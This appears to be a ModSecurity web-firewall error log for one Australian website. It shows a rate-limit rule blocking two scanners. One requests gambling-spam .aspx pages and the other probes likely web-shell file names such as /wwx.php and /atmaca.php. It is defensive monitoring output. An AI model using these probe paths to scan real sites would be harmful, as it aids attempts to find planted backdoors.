[Sun Feb 22 22:45:07.744561 2026] [:error] [pid 3103:tid 3130] [client 37.187.226.30:40238] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZsWc5fzX5hBIaQY93NmFwAAAZg"]
[Sun Feb 22 22:45:10.373091 2026] [:error] [pid 2629:tid 2674] [client 37.187.226.30:40246] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZsWdglsXSV5M4mfwZ9B8wAAAVA"]
[Sun Feb 22 22:45:12.766789 2026] [:error] [pid 2574:tid 2585] [client 37.187.226.30:40252] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZsWeMkPV7h4nTf-jiTQLQAAAMQ"]
[Sun Feb 22 22:45:15.230976 2026] [:error] [pid 2628:tid 2643] [client 37.187.226.30:40268] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZsWe7K4woMTeUPH2nsj5QAAAQw"]
[Sun Feb 22 22:45:17.688351 2026] [:error] [pid 3103:tid 3116] [client 37.187.226.30:60526] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZsWfZfzX5hBIaQY93NmLQAAAYo"]
[Sun Feb 22 22:45:19.996818 2026] [:error] [pid 2629:tid 2665] [client 37.187.226.30:60530] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZsWfwlsXSV5M4mfwZ9CJAAAAUc"]
[Sun Feb 22 22:45:22.434123 2026] [:error] [pid 2628:tid 2655] [client 37.187.226.30:60534] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZsWgrK4woMTeUPH2nskGAAAARg"]
[Sun Feb 22 22:45:24.874463 2026] [:error] [pid 2475:tid 2557] [client 37.187.226.30:60544] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZsWhCdme8TSKYpXujdY9wAAAJE"]
[Sun Feb 22 22:45:27.482353 2026] [:error] [pid 2629:tid 2668] [client 37.187.226.30:40366] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZsWhwlsXSV5M4mfwZ9CYgAAAUo"]
[Sun Feb 22 22:45:29.880242 2026] [:error] [pid 2474:tid 2525] [client 37.187.226.30:40378] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZsWifhvE7P5hX_xKnSjPAAAAEo"]
[Sun Feb 22 22:45:32.261852 2026] [:error] [pid 2629:tid 2666] [client 37.187.226.30:40388] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZsWjAlsXSV5M4mfwZ9CeAAAAUg"]
[Sun Feb 22 22:45:34.661018 2026] [:error] [pid 2474:tid 2544] [client 37.187.226.30:40400] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZsWjvhvE7P5hX_xKnSjTAAAAFc"]
[Sun Feb 22 22:45:37.088175 2026] [:error] [pid 2474:tid 2530] [client 37.187.226.30:55156] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZsWkfhvE7P5hX_xKnSjWwAAAE0"]
[Sun Feb 22 22:45:39.573737 2026] [:error] [pid 2574:tid 2594] [client 37.187.226.30:55170] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZsWk8kPV7h4nTf-jiTQugAAAM0"]
[Sun Feb 22 22:45:41.924031 2026] [:error] [pid 2473:tid 2488] [client 37.187.226.30:55176] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZsWlXptAeV7-XzzNzgilgAAAAs"]
[Sun Feb 22 22:45:44.264178 2026] [:error] [pid 2474:tid 2528] [client 37.187.226.30:55188] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZsWmPhvE7P5hX_xKnSjdQAAAEw"]
[Sun Feb 22 22:45:46.820935 2026] [:error] [pid 2473:tid 2489] [client 37.187.226.30:47214] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZsWmnptAeV7-XzzNzgitgAAAAw"]
[Sun Feb 22 22:45:49.279042 2026] [:error] [pid 2475:tid 2558] [client 37.187.226.30:47228] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZsWnSdme8TSKYpXujdZXQAAAJI"]
[Sun Feb 22 22:45:51.710060 2026] [:error] [pid 2628:tid 2642] [client 37.187.226.30:47236] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZsWn7K4woMTeUPH2nskawAAAQs"]
[Sun Feb 22 22:45:54.033616 2026] [:error] [pid 2475:tid 2538] [client 37.187.226.30:47238] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZsWoidme8TSKYpXujdZaQAAAIY"]
[Sun Feb 22 22:45:56.494510 2026] [:error] [pid 2475:tid 2559] [client 37.187.226.30:47248] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZsWpCdme8TSKYpXujdZegAAAJM"]
[Sun Feb 22 22:45:58.901253 2026] [:error] [pid 2473:tid 2486] [client 37.187.226.30:55324] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZsWpnptAeV7-XzzNzgjMAAAAAk"]
[Sun Feb 22 22:46:42.266079 2026] [:error] [pid 2473:tid 2494] [client 37.187.226.30:55330] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZsW0nptAeV7-XzzNzgkEgAAABE"]
[Sun Feb 22 22:46:44.609169 2026] [:error] [pid 2574:tid 2584] [client 37.187.226.30:45012] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZsW1MkPV7h4nTf-jiTR0gAAAMM"]
[Sun Feb 22 22:46:47.085435 2026] [:error] [pid 2473:tid 2490] [client 37.187.226.30:59372] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZsW13ptAeV7-XzzNzgkMQAAAA0"]
[Sun Feb 22 22:46:49.637149 2026] [:error] [pid 2473:tid 2487] [client 37.187.226.30:59380] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZsW2XptAeV7-XzzNzgkTAAAAAo"]
[Sun Feb 22 22:46:52.157267 2026] [:error] [pid 2629:tid 2660] [client 37.187.226.30:59386] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZsW3AlsXSV5M4mfwZ9DpAAAAUI"]
[Sun Feb 22 22:46:54.499278 2026] [:error] [pid 2629:tid 2667] [client 37.187.226.30:59388] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZsW3glsXSV5M4mfwZ9DsQAAAUk"]
[Sun Feb 22 22:46:56.964354 2026] [:error] [pid 2474:tid 2514] [client 37.187.226.30:37836] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZsW4PhvE7P5hX_xKnSkQwAAAEU"]
[Sun Feb 22 22:46:59.524003 2026] [:error] [pid 3103:tid 3126] [client 37.187.226.30:37838] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZsW45fzX5hBIaQY93Nn6wAAAZQ"]
[Sun Feb 22 22:47:02.033654 2026] [:error] [pid 2473:tid 2479] [client 37.187.226.30:37854] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZsW5nptAeV7-XzzNzgklwAAAAI"]
[Sun Feb 22 22:47:04.517016 2026] [:error] [pid 2574:tid 2600] [client 37.187.226.30:37856] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZsW6MkPV7h4nTf-jiTSBgAAANM"]
[Sun Feb 22 22:47:07.015487 2026] [:error] [pid 2628:tid 2643] [client 37.187.226.30:56978] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZsW67K4woMTeUPH2nsmIAAAAQw"]
[Sun Feb 22 22:47:09.418685 2026] [:error] [pid 2629:tid 2665] [client 37.187.226.30:56982] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZsW7QlsXSV5M4mfwZ9D4AAAAUc"]
[Sun Feb 22 22:47:11.954819 2026] [:error] [pid 2574:tid 2584] [client 37.187.226.30:56986] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZsW78kPV7h4nTf-jiTSIgAAAMM"]
[Sun Feb 22 22:47:14.322295 2026] [:error] [pid 2629:tid 2680] [client 37.187.226.30:57000] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZsW8glsXSV5M4mfwZ9D7gAAAVY"]
[Sun Feb 22 22:47:16.701149 2026] [:error] [pid 2629:tid 2679] [client 37.187.226.30:43006] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZsW9AlsXSV5M4mfwZ9D9QAAAVU"]
[Sun Feb 22 22:47:19.218255 2026] [:error] [pid 2473:tid 2490] [client 37.187.226.30:43014] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZsW93ptAeV7-XzzNzglAAAAAA0"]
[Sun Feb 22 22:47:21.729882 2026] [:error] [pid 2475:tid 2552] [client 37.187.226.30:43016] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZsW-Sdme8TSKYpXujdavgAAAIw"]
[Sun Feb 22 22:47:24.225765 2026] [:error] [pid 2628:tid 2655] [client 37.187.226.30:43030] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZsW_LK4woMTeUPH2nsmeQAAARg"]
[Sun Feb 22 22:47:26.736960 2026] [:error] [pid 2629:tid 2667] [client 37.187.226.30:48790] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZsW_glsXSV5M4mfwZ9EEwAAAUk"]
[Sun Feb 22 22:47:29.242145 2026] [:error] [pid 2628:tid 2641] [client 37.187.226.30:48802] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZsXAbK4woMTeUPH2nsmigAAAQo"]
[Sun Feb 22 22:47:31.735269 2026] [:error] [pid 2475:tid 2547] [client 37.187.226.30:48818] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZsXAydme8TSKYpXujda_gAAAIc"]
[Sun Feb 22 22:47:34.272090 2026] [:error] [pid 2629:tid 2676] [client 37.187.226.30:48832] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZsXBglsXSV5M4mfwZ9ESgAAAVI"]
[Sun Feb 22 22:47:36.746662 2026] [:error] [pid 2628:tid 2632] [client 37.187.226.30:52424] [client 37.187.226.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZsXCLK4woMTeUPH2nsmogAAAQE"]
[Mon Feb 23 00:58:44.983130 2026] [:error] [pid 28558:tid 28576] [client 20.203.249.16:25438] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aZs1xCdFHR5e1Gd10vd39wAAANA"]
[Mon Feb 23 00:58:45.455238 2026] [:error] [pid 28426:tid 28534] [client 20.203.249.16:25724] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aZs1xWgbPVf4pO12NZnJawAAAIw"]
[Mon Feb 23 00:58:45.928852 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:22826] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aZs1xSdFHR5e1Gd10vd3-QAAANg"]
[Mon Feb 23 00:58:53.435237 2026] [:error] [pid 28425:tid 28507] [client 20.203.249.16:17847] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aZs1zTO7QIkwG1UqFGzjCQAAAE4"]
[Mon Feb 23 00:58:54.922089 2026] [:error] [pid 28426:tid 28537] [client 20.203.249.16:1955] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tevkb.php"] [unique_id "aZs1zmgbPVf4pO12NZnJewAAAI8"]
[Mon Feb 23 00:58:55.394503 2026] [:error] [pid 28558:tid 28584] [client 20.203.249.16:21311] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tevkb.php"] [unique_id "aZs1zydFHR5e1Gd10vd4BgAAANg"]
[Mon Feb 23 00:58:55.872267 2026] [:error] [pid 4806:tid 4818] [client 20.203.249.16:1926] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tevkb.php"] [unique_id "aZs1z_FTHI_ud-cTYbTqIAAAAQo"]
[Mon Feb 23 00:58:56.344253 2026] [:error] [pid 4806:tid 4829] [client 20.203.249.16:21288] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tevkb.php"] [unique_id "aZs10PFTHI_ud-cTYbTqJAAAARU"]
[Mon Feb 23 00:58:56.814676 2026] [:error] [pid 28424:tid 28452] [client 20.203.249.16:24991] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atmaca.php"] [unique_id "aZs10ABAZT_BJOxE-Z4jNgAAABg"]
[Mon Feb 23 00:58:57.287300 2026] [:error] [pid 4806:tid 4828] [client 20.203.249.16:1949] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atmaca.php"] [unique_id "aZs10fFTHI_ud-cTYbTqKwAAARQ"]
